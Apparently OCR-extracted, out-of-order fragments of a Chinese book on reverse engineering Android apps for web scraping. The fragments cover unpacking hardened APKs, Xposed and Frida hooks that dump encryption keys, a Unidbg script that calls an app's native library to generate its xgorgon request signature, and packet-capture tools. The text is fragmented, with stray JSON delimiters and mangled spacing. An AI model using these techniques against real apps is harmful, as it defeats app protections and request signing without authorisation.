需要反编译 APK 去找证书， 一般证书文件都在 assets 或者 res 目录中， 每个应用的证书名都不相同， 可以检索的关键词有 client、 cer、 pfx、 p12、 PKC、 bks、 crt 等。 通过检索找到证书之后， 还需要查看证书是否设置有密码。 如果有密码， 则需要在代码中查找密钥， 然后导入到本地抓包工具。 如果实在无法找到证书或者无法找到密钥， 可以选择其他抓包方式。 Unknown 4. 反射大师 反射大师也是一个 Xposed 插件， 但是看起来就比较高端， 工具界面上有一个六角星， 如图 6-96 所示。 脱壳步骤： 第一步： 打开工具， 选择一个应用。 第二步： 打开目标应用， 单击一下界面中间的六角星， 选择当前的 Activity。 第三步： 然后点击写出 Dex 的选项， 长按可以写出多个 Dex 文件。 第四步： 到 / storage / emulated / 0 中查看 Dex 文件 （夜神模拟器）。 接下来对选中的应用进行 Dex 获取， 长按可以 “写出 Dex”， 如图 6-97 所示。 该应用解析出了 4 个 Dex 文件， 到文件夹中查看， 如图 6-98 所示。 可以把这些 Dex 文件复制到共享文件夹中， 然后拿到本地查看。 除了脱壳功能外， 反射大师还具有一些特色功能： （1） 任意的屏幕界面都能获取点击范围内的全部对象； 2 46 . 第 6 章 Android 逆向 ·图 6-96 ·图 6-97 （2） 在应用中点击当前 Activity 的名称， 会获取所有 Activity 列表。 （3） 可 获 取 当 前 Activity 的 所 有 变 量， 可 操 作 窗口。 反射大师简单易用， 能脱掉大多数壳， 值得使用。"},
    {"text": "Unknown 6. 6 Android 加固和脱壳 现在对 App 的安全管控越来越严格， 也要求一些 App 在上架之前一定要做合规检测和加固处理。 App 加固的作用就是可以提高 App 的安全性， 保护 App 不被逆向分析或者破解。 在爬虫逆向的开发中， 主要的需求是分析源码中的加密参数， 所以对脱壳的要求没有那么高。 在反 编译工具无法正常反编译或者拿不到关键代码的时候才需要去脱壳， 脱壳后只要能获取关键的 Dex 文件 即可， 不需要完美的脱壳和修复。 甚至有些时候工具可以直接反编译出关键位置的代码， 那就不需要再去脱壳。 但是一些加固概念还 是需要去了解和掌握的， 本节主要内容就是对目前主流的加固方法和常用的脱壳工具进行梳理总结。 6. 6. 1 加固概念 Android 应用的加固非常重要， 加固能够有效防逆向、 防调试、 防篡改， 提高数据的安全性， 保护自 2 40 . 第 6 章 Android 逆向 己的核心代码不被二次打包。 目前常见的第三方加固平台有阿里聚安全、 腾讯、 网易易盾、 360、 娜迦、 爱加密、 梆梆、 网盾、 瑞星、 顶象等， 平时需要逆向的应用加固大都属于其中某一个， 如图 6-90 所示。 加固主要是对 APK 中的 Dex 文件、 so 文件、 资源文件等进行保护。 常见的加固方案有反模拟器反调 试的加固， 在内存中动态加载的加固， 代码切割分块加密的加固， 以及自建虚拟机把原生代码转换为自 定义指令的加固。"},
    {"text": "Unknown 2. 1 Utils 笔者总结了一些能提高爬虫开发效率的工具库， 包括常用的文本格式处理、 时间格式处理、 请求头 生成和格式化， 以及爬虫智能解析库等。 一些在线版的工具就不再详细介绍了， 这里简单列一下， 如表 2-1 所示。 表 2-1 在线版工具 链 接 简 介 https: / / spidertools. cn 爬虫工具库 https: / / www. json. cn / Json 解析网站 https: / / base64. us/ Base64 编码解码 https: / / www. runoob. com/ runcode Html 代码转页面 https: / / alisen39. com/ httpRaw 转 Python http: / / httpbin. org/ get 查看本地请求信息 http: / / tool. chinaz. com/ tools/ unicode. aspx 站长工具编码解码集合 http: / / web. chacuo. net / netproxycheck 代理服务器连接测试工具 http: / / tool. yuanrenxue. com/ 爬虫分析工具 2. 1. 1 爬虫工具包 lxpy 库是笔者把自己开发时常用的工具进行集成的一个工具库， 包括时间处理、 xml 检查、 html 去除 标签、 jsonp 格式化、 正则 xpath、 生成随机 UA、 请求头字 符串转字典等处理方法。 Github 地址： https： / / Github. com/ lixi5338619/ lxpy 安装方法很简单： pip install lxpy 也可以到 Github 下载源码， 然后自己进行修改。 因为 代码过于简单， 如何导入使用就不再讲解了， 可以直接从 源码进行分析， 如图 2-1 所示。 ·图 2-1 .9 爬虫逆向进阶实战 首先查看 init 文件， 里面通过_all_表示了可以引用的类和方法， 使用时查看该文件中的列表成员 即可。 lxdate 文件中存放了时间处理类 DateGo， 类中有很多对时间格式的处理方法， 如表 2-2 所示。 表 2-2 对时间格式的处理方法 方 法 名 简 介 now_data 获取当前时间 now_ymd 获取当前年月日 timec_change_dtime 把时间戳转换为年月日时分格式 dtime_to_timec 把年月日时分转换为时间戳格式 yesterday_timec 获取昨天开始的时间戳 difference_time 两个时间的差， 返回秒 weibo_date 刚刚 / 分钟 / 小时 / 天转换为时间格式 youku_date 昨天 / 前天 / 一周前 / 一月前转换为时间格式 difference_timenow 当前时间和指定时间的差， 返回秒 difference_time_two 两个时间的差， 返回秒 date_befor_minutes 几分钟前 / 后的时间 date_befor_hours 几小时前 / 后的时间 date_befor_days 几天前 / 后的时间 netimec_to_dtime 负数时间戳转换 / 转换 1970 年之前的时间戳 java_date Java 时间格式转换为 Python 日期格式 lxheader 文件中放了两个方法， 一个是将浏览器复制下来的 user-agent 转成请求时要使用的字典格式， 一个是随机生成 user-agent。 方法很简单， 大家可以看一下。 def copy_headers_dict(headers_raw): # 随机生成 user-agent headers = headers_raw.splitlines() headers_tuples = [ header.split(\":\", 1) for header in headers] result_dict = {} for header_item in headers_tuples: if not len(header_item) = = 2: continue item_key = header_item[0] .strip() item_value = header_item[1].strip() result_dict[item_key] = item_value return result_dict import random def get_ua(): # user-agent 转换 first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ (Windows NT 6.1; WOW64) , (Windows NT 10.0; WOW64) , (X11; Linux x86_64) , (Macintosh; Intel Mac OS X 10_12_6) 1 0. 第 2 章 Python 爬虫技巧 ] chrome_version = Chrome/{}.0.{}.{} .format(first_num, third_num, fourth_num) ua = .join([ Mozilla/5.0 , random.choice(os_type), AppleWebKit/537.36 , (KHTML, like Gecko) , chrome_version, Safari/537.36 ] ) userAgent = {\"user-agent\":ua} return userAgent lxml_check 文件主要是对 html 数据进行检查， 解决有时候在 etree. HTML 解析后 html 数据会丢失的 问题。 lxtools 则是一些工具方法， 比如字符串去除 html 标签， jsonp 快速转 json， 在 xpath 中使用正则表达 式， 从 URL 中快速提取 params 等。 import re def html_format(string): \"\"\" html 去除标签 \"\"\" dr = re.compile(r <[ ^>] +> , re.S) not_format = dr.sub( , string) return not_format def jsonp_to_json(jsonp): \"\"\" jsonp 转 json \"\"\" result = re.findall(r \\w+[ (] {1}(.* )[ )] {1} ,jsonp,re.S) return result def re_xpath(node,compile): \"\"\" xpath 中使用正则匹配 \"\"\" namespaces = {\"re\":\"http://exslt.org/regular-expressions\"} result = node.xpath(compile, namespaces = namespaces) return result 在 1. 3. 0 版本中， lxpy 新增了常用加密算法的加解密实 现、 一些编码的实现， 以及一些加密技术 （ 凯撒密码、 摩斯 密码、 栅栏密码等） 的实现， 如图 2-2 所示。 该工具库有一段时间没更新了， 之后笔者会在库中集成 一些网络协议处理、 多线程多进程模板、 单文件版 Scrapy 等 工具。 2. 1. 2 智能解析库 在做网络舆情爬虫的时候， 通常需要大规模采集新闻网站 ·图 2-2 和论坛博客的文章正文。 假设有 1000 个不同规则的页面， 如 果手动去写 re、 xpath、 bs4 这些页面解析方法， 就需要写 1000 次， 这对开发成本和人力消耗是极大的挑战。 为了解决这个问题， 目前已有三种页面智能提取方法： 基于文档内容的提取方法、 基于 DOM 节点的 提取方法、 基于视觉信息的提取方法。 下面介绍两个开源的智能解析库。"},
    {"text": "Unknown 7. Frida 自吐算法 所谓自吐算法其实是对一些常用加密算法的 Java 接口特征进行汇总， 通过 Frida 去 Hook 加密算法常 用的 Api， 比如 secretKeySpec、 Cipher. getInstance、 DESKeySpec 等。 Java 实现 AES 加密的示例： public static byte [ ] aes(byte [ ] bytesContent, String key) throws Exception { byte [] raw = key.getBytes(\"utf-8\"); SecretKeySpec skeySpec = new SecretKeySpec(raw, \"AES\"); Cipher cipher = Cipher.getInstance(\"AES/ECB/PKCS5Padding\"); cipher.init(Cipher.ENCRYPT_MODE,skeySpec); byte [] enc = cipher.doFinal(bytesContent); return enc; } 通过自吐可以实现自动输出相关参数、 调用栈， 方便快速地定位， 并且在源码混淆、 通信加密、 数 据加密的场景中十分好用。 常用的加 密 算 法 在 之 前 的 Js 逆向 中 讲 解过， 对 称 加 密算 法 （ AES、 DES 等）、 非对 称 加 密算 法 （RSA、 ECC 等） 和消息摘要算法 （MD5、 sha1 等）。 这里用 Java 语言实现的方法不再一一举例。 大家可 以用实现这些加密算法的代码来总结出一些特征， 然后用 Frida 去 Hook 并输出。 Frida-hook 代码示例： Java.perform(function () { var secretKeySpec = Java.use( javax.crypto.spec.SecretKeySpec ); secretKeySpec.$ init.overload( [B , java.lang.String ).implementation = function (a, b) { showStacks(); var result = this.$ init(a, b); console.log(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\"); console.log(\"算法名：\" +b + \"|str 密钥:\" + bytesToString(a)); console.log(\"算法名：\" +b + \"|Hex 密钥:\" + bytesToHex(a)); 2 24 . 第 6 章 Android 逆向 return result; } var DESKeySpec = Java.use( javax.crypto.spec.DESKeySpec ); DESKeySpec.$ init.overload( [B ).implementation = function (a) { showStacks(); var result = this.$ init(a); console.log(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\"); var bytes_key_des = this.getKey(); console.log(\"des 密钥 |str \" + bytesToString(bytes_key_des)); console.log(\"des 密钥 |hex \" + bytesToHex(bytes_key_des)); return result; } } 大家可到 Github 仓库中查看完整代码。 Unknown 5. 5 HTTP Canary HTTP Canary 是 Android 平台下的网络分析工具， 因其 logo 又被称为黄鸟。 笔者觉得它是目前在 Android 上使用最顺手的抓包工具， 免 root、 界面清新、 功能齐全、 使用方便， 支持 TCP / UDP / HTTP / HTTPS/ webSocket 等多种协议， 如图 5-24 所示。 除了基本的请求查看之外， 还可以进行请求重发、 重写、 断点等操作， 长按一个请求可以触发选择， 如图 5-25 所示。 ·图 5-24 ·图 5-25 另外软件本身带有插件仓库， 可以支持一些扩展功能， 比如把数据包上传到服 务 器， 如 图 5-26 所示。 该 Android 工具就这样简单介绍一下吧， 也没有太多需要说明的。 . 1 61 爬虫逆向进阶实战 ·图 5-26 Unknown 12. Frida 插件 Brida Brida 是基于 Burp Suite （渗透测试工具） 的一个扩展 Web 服务， 作为 Burp Suite 和 Frida 之间的桥梁， 可以使用和操纵应用内的方法， 同时可修改应用与其服务器之间的数据包。 概括一下就是支持插桩定位、 2 26 . 第 6 章 Android 逆向 远程 Hook、 加密解密、 拆包解包等功能。 另外它也支持 Frida 所支持的所有平台 （ Windows、 macOS、 Linux、 iOS、 Android 和 QNX）， 如图 6-73 所示。 ·图 6-73 Github 地址： https： / / Github. com/ federicodotta / Brida 想要运行 Brida 需要准备的环境有 Burp Suite （1. X 或 2. X）、 已 Root 设备、 Frida client、 Python Frida 库、 Pyro4 库， Pyro4 是 Python 的 RPC 框架。 所以 Brida 的运行原理就是通过 Python 结合 Frida 和 Burpsuit 的图形化按钮来进行远程 Hook， 如图 6-74 所示。 ·图 6-74 Brida 的界面如上所示， 主要分为三个部分。 上方是功能区， 最重要的 configurations 是插件正常运行所需的环境参数。 Python binary path 是 Python 的启动路径， 用于启动 Pyro 服务； Frida JS file folder 是需要注入的 Frida 脚本路径； Application ID 是目标 进程 ID。 右侧的控制按钮用于用户启动终止、 载入脚本等。 Start server 启动 Pyro 服务桥接 Burp 和 Frida； . 2 27 爬虫逆向进阶实战 Spawn Application 在设备中启动应用并注入 Hook 脚本； Reload JS 是重载 Js 文件； Execute Method 是执行 脚本方法。 下方的 console 输出框用于输出启动、 调用、 运行、 报错等信息； 本节以介绍插件为主， 具体的应用需要大家去进行挖掘。 不过在接口中有签名或者数据被加密时， 无法自定义修改参数进行请求， 此时可以使用 Brida 调用加解密函数， 一键实现加密解密操作。 Unknown 3. Smali 数组 Smali 中通过在类型前面加 [来表示该类型的数组， 例如 [I 表示 int [ ]， [Ljava / lang / String； 表示 String []， 如果要表示多维数组， 只需要增加 [的数量， 例如 [ [I 表示二维数组 int [] []。"},
    {"text": "首先准备好 jdk 环境， 然后通过 IDEA 来新建一个 Project， 选择 Android， 如图 6- 43 所示。 ·图 6-43 然后一直进行到 Creates a news empty activity， 输入项目名完成创建， 笔者在本节案例中创建的项目名 字叫作 AndroidDemo， 如图 6- 44 所示。"},
    {"text": "app/ src / main/ res/ layout/ activity_main. xml， 这是刚才创建项目时新建的 Activity 对应的 xml 布局文件， 按照创建新项目的流程会同时展示这个文件的文本视图和图形化预览视图， 该文件包含一些默认设置和 一个显示内容为 “Hello world！"},
    {"text": "app/ src / main/ java / example. com. androiddemo / MainActivity， 创建新项目完成后， 可看到该文件对应的 2 02 . 第 6 章 Android 逆向 ·图 6-44 ·图 6-45 选项卡， 选中该选项卡， 可以看到刚创建的 Activity 类的定义， 如图 6- 46 所示。"},
    {"text": "app/ src / main/ AndroidManifest. xml， manifest 文件描述了项目的基本特征并列出了组成应用的各个组 件， 接下来的学习会更深入地了解这个文件， 并添加更多组件到该文件中， 如图 6- 47 所示。"},
    {"text": "工 程 的 每 个 模 块 以 及 整 个 工 程 都 有 一 个 build. gradle 文件。 通常只需要关注模块的 build. gradle 文件， 该文件存放编译依赖设置， 包括 defaultConfig 设置。"},
    {"text": "<meta-data android:name=\"xposedmodule\" android:value=\"true\" /> <meta-data android:name=\"xposeddescription\" android:value=\"这是一个 Xposed 案例\" /> <meta-data android:name=\"xposedminversion\" android:value=\"53\" /> 2 04 . 第 6 章 Android 逆向 ·图 6-48 { compileOnly de.robv.android.xposed:Api:82 compileOnly de.robv.android.xposed:Api:82:sources } repositories { jcenter() } 然后在这个文件下的 AndroidDemo/ app/ src/ build. gradle 中加入配置 （注意跟图 6- 49 位置对应）。"},
    {"text": "·图 6-49 . 2 05 爬虫逆向进阶实战 接着在 AndroidDemo / app / src / main / res / layout / activity_main. xml 中创建一个 “ BUTTON” 按钮来测试 Hook 的结果， 如图 6-50 所示。"},
    {"text": "接下来在 AndroidDemo / app / src / main / java / example. com. androiddemo / MainActivity 文件中先给 BUTTON 写上触发事件， 如图 6-51 所示。 ·图 6-51 package example.com.androiddemo; import android.support.v7.App.AppCompatActivity; 2 06 . 第 6 章 Android 逆向 import android.os.Bundle; import android.widget.Button; import android.view.View; import android.widget.Toast; public class MainActivity extends AppCompatActivity { private Button button ; @ Override protected void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main ) ; button = ( Button ) findViewById ( R. id. button ) ; button. setOnClickListener ( new View. OnClickListener ( ) { public void onClick ( View v ) { Toast. makeText ( MainActivity. this , toastMessage ( ) , Toast. LENGTH_ SHORT ) . show ( ) ; } } ) ; }; public String toastMessage ( ) { return \" 欢迎\" ; } }; 通过 IDEA 单击 “运行” 按钮， 查看是否成功启动， 如图 6-52 所示。"},
    {"text": "example. com. androiddemo 是目标程序的包名， example. com. androiddemo. MainActivity 是想要 Hook 的 类， toastMessage 是想要 Hook 的方法， afterHookedMethod 方法修改了 toastMessage（）方法的返回值。"},
    {"text": "package example.com.androiddemo; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XC_MethodHook; import de.robv.android.xposed.XposedBridge; import de.robv.android.xposed.XposedHelpers; import de.robv.android.xposed.callbacks.XC_LoadPackage; public class HookTest implements IXposedHookLoadPackage { public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable { if (loadPackageParam.packageName.equals(\"example.com.androiddemo\")) { XposedBridge.log(\"has Hooked!\"); Class clazz = loadPackageParam.classLoader.loadClass( \"example.com.androiddemo.MainActivity\"); XposedHelpers.findAndHookMethod(clazz, \"toastMessage\", new XC_MethodHook() { protected void beforeHookedMethod(MethodHookParam param) throws Throwable { super .beforeHookedMethod(param); } protected void afterHookedMethod(MethodHookParam param) throws Throwable { param.setResult(\"你已被劫持\"); } }); } } } 2 08 . 第 6 章 Android 逆向 接着创建入口点 xposed_init 文件。"},
    {"text": "使用鼠标右键单击 “ main” 文件夹， 选择 “New” 中的 “Folder” 中的 “Assets Folder” 命令， 创建 assets 文件夹， 如图 6-54 所示。 ·图 6-54 然后在 assets 文件夹下创建 File 文件 xposed_init， 如图 6-55 所示。"},
    {"text": "·图 6-57 ·图 6-58 如果最后没有成功， 则先查看是否有报错信息， 查看模拟器 Xposed 模块是否选中， 查看 HookTest 文 件中， 路径和包名是否对应自己的路径， 查看 xposed_init 文件中的指示路径是否正确。"},
    {"text": "Unknown 5. 8 Wireshark Wireshark 是一个基于网卡的开源网络协议分析器， 使用 WinPCAP 作为接口， 直接与网卡进行数据报 文交换。 这种抓包方式不受任何限制， 绝对能抓到数据包， 但是对于加密的数据没有办法明文显示， 对 于 http 和 https 包的展示也不太友好。 笔者使用这一场景是因为其他工具无法抓包时， 或者是需要分析接 口协议时， 才会选择 Wireshark， 如图 5- 43 所示。 . 1 69 爬虫逆向进阶实战 5. 8. 1 Wireshark 介绍 安装过程就不再说了， 在本书工具库中有 中文版下载链接。 Wireshark 捕获的是网卡的网络包， 所以当 计算机上有多块网卡的时候， 需要先选择网卡， 如图 5-44 所 示。 单 击 开 始 界 面 中 的 Interface List， 即网卡列表， 选择需要监控的网卡。 在捕 获选项 （ Capture Options） 中选择正确的网卡， 然后使用鼠标右键单击网卡， 选择 “ Start” 后， 开始抓包。 ·图 5-43 ·图 5-44 正常情况下立刻就能看到数据包涌入， 如果没有内容， 就查看网卡是否选择正确， 如图 5- 45 所示。 第一栏是菜单栏， 第二栏是工具栏， 第三栏是过滤栏， 可以设置条件过滤数据包列表。 过滤栏下面是数据列表区， 显示了数据包的编号、 时间戳、 来源、 目的地、 协议、 长度等信息， 不 同的协议使用了不同的颜色区分。 协议颜色在菜单栏中的 “ 视图” 的着色规则中修改， 默认规则如 图 5- 46 所示。 下来灰色的一栏是数据包详细信息栏， 数据包列表中的每个数据包在详细信息栏中都会显示其所有 信息内容， 如图 5- 47 所示。 接数据包详细信息栏如下： Frame： 物理层的数据帧概况。 1 70 . 第 5 章 抓包工具的应用 ·图 5-45 ·图 5-46 ·图 5-47 Ethernet II： 数据链路层的以太网帧头部信息。 Internet Protocol Version： 网络协议版本信息。 User Datagram Protocol： 传输层的 UDP 协议。 . 1 71 爬虫逆向进阶实战 Transmission Control Protocol： 网络传输层的 TCP 数据段信息。 Hypertext Transfer Protocol： 应用层的 HTTP 超文本传输协议信息。 DHCPv6： IPv6 动态主机配置协议。 Multcast Domain Name System： DNS 协议头部信息。 此外还有其他协议信息， 比如 ARP、 SSDP、 LLMNR 这些就不再一一列出了。 最下面的一栏是数据包报文的 16 进制展示， 如图 5- 48 所示。 ·图 5-48 图中笔者用了红线分隔， 红线左边是 16 进制， 红线右边是 16 进制对应的 ASCII 码。 而被蓝色填充的 区域则是数据包详细信息栏中各层对应的数据， 比如单击 Transmission Control Protocol， 在 16 进制展示区 中可以看到对应的详细内容， 如图 5- 49 所示。 ·图 5-49 Wireshark 的介绍就到这里， 具体的功能大家动手测试一下吧。 5. 8. 2 Wireshark 技巧 作为爬虫工程师来说， 使用 Wireshark 主要是为了分析数据包协议， 以便于下一步的逆向分析， 所以并 不需要掌握得特别熟练， 懂得如何使用就可以了， 所以笔者整理了一些快捷键分享给大家， 如表 5-2 所示。 1 72 . 第 5 章 抓包工具的应用 表 5-2 Wireshark 快捷键 快 捷 键 简 介 Ctrl+W 关闭捕获文件 Ctrl+Shift+A 管理配置文件 Ctrl+S 保存捕获文件 Ctrl+D 是否忽略数据包 Ctrl+E 开始捕获分组 Ctrl+E 停止捕获分组 Ctrl+R 重新开始当前捕获 Ctrl+O 打开已保存的捕获文件 Ctrl+Alt+Shift+T TCP 流 F5 刷新接口列表 Ctrl+Alt+Shift+H HTTP 流 Ctrl+Alt+Shift+S TLS 流 Ctrl+Alt+Shift+U UDP 流 Ctrl+Shift+P 管理 Wireshark 的首选项设置 Ctrl+Q 退出 Wireshark 还有一个过滤技巧对分析很有帮助， 软件界面上的过滤栏中可以根据多种匹配规则过滤数据包列表。 另外过滤规则支持逻辑运算符 && （与）、 | | （或）、！ （非）， 如图 5-50 所示。 ·图 5-50 协议过滤： 直接输入 tcp、 http、 arp、 icmp 等协议名进行过滤。 IP 过滤： 输入 ip. host= = 192. 168. 1. 1 或者 ip. src = = 192. 168. 1. 1 进行过滤。 端口过滤： 输入 tcp. port = = 80 或者 udp. port = = 80。 长度过滤： 输入 udp. length＜50 或者 http. content_length＜ = 50。 通过对以上基本功能的学习， 可以掌握 Wireshark 的基本使用。 在用其他抓包工具抓不到包的时候， 就用 Wireshark 来分析是什么情况吧。 爬虫经典面试题：如何定向修改数据包响应内容？ Fiddler、Charles、Mitmproxy 等代理工具都可以截取本地与服务端之间指定的数据包，基于 mitm 的原理进 行拦截，修改后继续发送。 . 1 73 Android 逆向 目前 Android 逆向已经成为高级爬虫工程师的必备技能， 但是逆向本身的教程和案例由于其可能带来 的风险性导致少之又少。 作者在编辑本章内容时， 也着实思考了很久， 本章内容不会太过深入， 不过足 以应对工作需求， 这里毕竟是爬虫开发， 以模拟和分析加密参数为主， 完成数据采集即可。 因为在大多 数时候为了一个参数分析 so 文件实在不划算， 不如直接通过 hook 工具进行调用。 刚进入 Android 逆向的大门后， 会发现并不会接触到很多原理性的知识， 前期最重要的是各种环境搭 建和逆向调试工具的应用， 在有了丰富的经验之后， 就可以根据自己的需求构建属于自己的逆向工具。 本章中所涉及的工具笔者尽量配合模拟器使用， 因为大部分人的逆向之路都是卡在了设备上。 当然除了工具之外， 还需要掌握一些基本知识， 比如 Java 语法、 Smali 语法、 arm 指令、 NDK 开发 等， 因为这些都是必须要面对和接触的知识。"},
    {"text": "Unknown 3. Unidbg 案例 本节案例是使用 Unidbg 调用某 App 的 so 文件生成 xgorgon 参数。 已经通过静态分析找到 xgorgon 函数的位置， 下面准备调用 libcms. so 文件中的 leviathan 函数。 首先在 src / test / resources 目录下新建文件夹 dylib， 放入 libcms. so 文件。 10. 4 版本的 libcms. so 可在代 码块中下载， 如图 6-79 所示。 然后在 / unidbg / unidbg-android / src / test / java / com / sun. jna / 目录下新建了 JniDispatch128. java 文件， 如图 6-80 所示。 ·图 6-79 ·图 6-80 JniDispatch128. java 文件内容如表 6-26 所示。 2 32 . 第 6 章 Android 逆向 表 6-26 JniDispatch128. java 文件内容 \" com/ ss/ sys/ ces/ a\" 需要调用函数所在的 Java 类完整路径， 比如 a/ b / c/ d 等， 注意需要用 / 代替 \" leviathan(II[B)[B\" 需要调用的函数名， 名字是 Smali 语法， 可通过 Jadx 等工具查看 \" vm. loadLibrary(new File)\" so 文件的路径， 需要自行修改， 最好为绝对路径 package com.sun.jna; import com.Github.unidbg.* ; import com.Github.unidbg.linux.android.AndroidARMEmulator; import com.Github.unidbg.linux.android.AndroidResolver; import com.Github.unidbg.linux.android.dvm.* ; import com.Github.unidbg.memory.Memory; import com.Github.unidbg.memory.MemoryBlock; import com.Github.unidbg.linux.android.dvm.array.ByteArray; import java.io.File; import java.io.IOException; public class JniDispatch128 extends AbstractJni { private static LibraryResolver createLibraryResolver() { return new AndroidResolver(23); } private static AndroidEmulator createARMEmulator() { return new AndroidARMEmulator(\"com.sun.jna\"); } private final AndroidEmulator emulator; private final Module module; private final VM vm; private final DvmClass Native; private JniDispatch128() { emulator= createARMEmulator(); final Memory memory = emulator.getMemory(); memory.setLibraryResolver(createLibraryResolver()); vm= emulator.createDalvikVM(null); vm.setJni(this); vm.setVerbose(true); // 自行修改文件路径 DalvikModule dm = vm.loadLibrary(new File ( \"/Users/Desktop/unidbg/unidbg-android/src/test/resources/dylib/libcms. so\"), false); dm.callJNI_OnLoad(emulator); module= dm.getModule(); Native= vm.resolveClass(\"com/ss/sys/ces/a\"); } private void destroy() throws IOException { emulator.close(); System.out.println(\"destroy\"); } public static void main(String[] args) throws Exception { JniDispatch128 test = new JniDispatch128(); test.test(); test.destroy(); . 2 33 爬虫逆向进阶实战 } public static String xuzi1(byte[] bArr) { if (bArr = = null) { return null; } char[] charArray = \"0123456789abcdef\".toCharArray(); char[] cArr = new char[(bArr.length * 2)]; for (int i = 0; i < bArr.length; i++) { int b2 = bArr[i] & 255; int i2 = i * 2; cArr[i2] = charArray[b2 >>> 4]; cArr[i2 + 1] = charArray[b2 & 15]; } return new String(cArr); } private void test() { String methodSign = \"leviathan(II[B)[B\"; byte[] data = \"这里是 url 经过处理后的 data\".getBytes(); int time = (int) (System.currentTimeMillis() / 1000); Native.callStaticJniMethod(emulator, methodSign, -1,time,new ByteArray(vm,data)); Object ret = Native.callStaticJniMethodObject(emulator, methodSign, -1,time,new ByteArray(vm,data)); System.out.println(\"callObject 执行结果:\"+((DvmObject) ret).getValue()); byte[] tt = (byte[]) ((DvmObject) ret).getValue(); System.out.println(new String(tt)); String s= xuzi1(tt); System.out.println(s); } } 现在运行 main 方法即可查看生成出来的 xgorgon 了， 如图 6- 81 所示。 ·图 6-81 本小节的案例是以学习为主， 所以对于 App 逆向上涉及一些关键的代码无法完全展示出来。 另外也 不是说只要找到了方法位置， so 就能 100%调用， 大部分场景都需要在 Unidbg 中补环境。 补环境和 Js 补环境有些相似， 一般是运行环境缺失或者上下文缺失。 环境缺失还好办， 根据报错提 示缺什么就补什么。 上下文缺失就相对复杂了， 往往是因为应用在运行目标函数前对 so 或目标函数做了 一些初始化工作， 而直接调用 so 缺少了这样的操作， 导致上下文缺失。 2 34 . 第 6 章 Android 逆向 大家掌握到使用方法就好， 剩下的需要靠自己实践探索。 6. 3. 4 Magisk Magisk 是一套开源的 Android （ 5. 0 以 上 版 本） Root 管理器， 和 Xposed 有高度的相似性， 附 带修改系统功能。 Magisk 功能很强大， 只要安装 了 Magisk， 等于给设备开启了 Root 权限， 从而可 以使用一些需要 Root 的框架和插件， 如图 6- 82 ·图 6-82 所示。 虽然目前 Magisk 的模块并不丰富， 但是 magisk 有 hide 功能， 可以隐藏 Root 特征， 另外也可以在 Magisk 中安装 Xposed、 太极等框架。 Unknown 5. 项目部署 先安装好 captcha_platform， 然后将训练好的 model. yaml 放在模型文件夹中， 并将 model. pb 放在图形 文件夹中 （如果不存在则创建）， 然后启动 server 文件即可调用， 代码如下。 Windows Deploy （Windows）： Python xxx_server. py。 Linux Deploy （Linux / Mac）： Python flask_server. py。"},
    {"text": "Unknown 5. 4 HTTP AnalyzerStd V7 HTTP AnalyzerFull V7 是数据包分析工具， 用于性能分析、 调试和诊断。 使用方式和 fiddler、 charles 等差不多。 但是它可以捕获来自某些特定进程或用户 / 会话 / 系统范围应用程序的 HTTP / HTTPS 流量。 比 如在 Windows 应用程序中捕获 HTTP 信息， 而无须从 HTTP Analyzer 中启动它们。 如果遇到某些不需要 HTTP 协议的 App， 可以用它来监听模拟器应用的请求， 来确定一下接口。 HTTP AnalyzerFull V7 还有一个日志功能， 其中包含有关所执行操作的综合信息， 可以将其导出为多 种文件格式， 如图 5-23 所示。 ·图 5-23 1 60 . 第 5 章 抓包工具的应用 绿色汉化版下载链接： https： / / pan. baidu. com / s / 1p3ThL5yqqc5XwTrDdmmGCg 提取码： x9hg。 该 Windows 工具没有太多需要说明的。 Unknown 5. 7 Drony Drony 是一个 Android VPN 代理工具， 不需要 root 环境也 可完成代理身份认证。 Drony 和 Postern 类似， 可以转发 App 的所有请求， 而不 是去设置手机 Wi-Fi 代理， 所以也可以配合 charles、 fiddler 完 成定向抓包， 去抓取那些不走代理的请求， 如图 5-34 所示。 5. 7. 1 工具介绍 ·图 5-34 由于该软件资源不好找， 笔者在云盘中上传了一份， 下 载地址可到本书代码库中查看， 如图 5-35 所示。 ·图 5-35 打开工具后， 页面整体非常简洁。 在 LOG 这行， 应该算是软件的工具栏， 可以通过左滑、 右滑进行 切换。 分别有 LOG、 SETTINGS、 FILTER、 CONNECTIONS。 LOG 是软件工作日志， 在 SETTINGS 中进行各 1 66 . 第 5 章 抓包工具的应用 种配置， FILTER 是过滤内容， CONNECTIONS 是连接状态。 SETTINGS 中有大量的可配置选项： 包括代理配置、 网络配置、 过滤配置、 DNS 配置、 证书配置。 使 用较多的是网络配置 Networks， 在 Networks 中可以查看本机 Wi-Fi 列表， 配置 Wi-Fi 的各种属性， 以及 WIREDSSID 和过滤规则。 Drony 本身就可以进行抓包， 和正常的抓包工具配置相同， 先在 Network details 中配置 Hostname 和 Port， 再设置代过滤类型和过滤规则， 然后配置设备网络中的 Wi-Fi 代理， 最后启动 Drony 即可进行抓包， 如图 5-36 所示。 ·图 5-36 在下一小节中会具体介绍， Drony 和 charles 配合下的抓包过程。 5. 7. 2 配合抓包 这里用 Drony 配合 charles 通过 http / https 转发并进行抓包， 需要先配置好 charles。 接下来开始配合抓包， 先关闭设备中的 Wi-Fi 代理， 然后打开 Drony， 右滑到 SETTINGS 页面， 单击 Networks 下的 Wi-Fi， 如图 5-37 所示。 ·图 5-37 . 1 67 爬虫逆向进阶实战 选择当前在使用的 Wi-Fi 名， 然后进入 Network details 页面， 如图 5-38 所示。 ·图 5-38 先设置 Hostname 和 Port， 然后单击 Proxy type， 选择 manual。 Hostname 是你的本机地址， Port 是抓包 软件的端口号， manual 是手动， 如图 5-39 所示。 ·图 5-39 再往下单击 Filter default value， 设置过滤器的默认值， 要选择 Direct all。 再单击 Rules 设置规则， 进 入 Rules 页面之后， 单击右上方的+号， 进入 Add filter rule 页面， 如图 5- 40 所示。 ·图 5-40 1 68 . 第 5 章 抓包工具的应用 单击 Action， 选择 Local proxy chain， 单击 Application 可以指定要抓包的应用， 然后单击右上角的 “保存” 按钮， 如图 5-41 所示。 ·图 5-41 如果在 Rules WiredSSID 中已经出现规则， 那么说明设置成功， 可以返回主页。 滑到 LOG 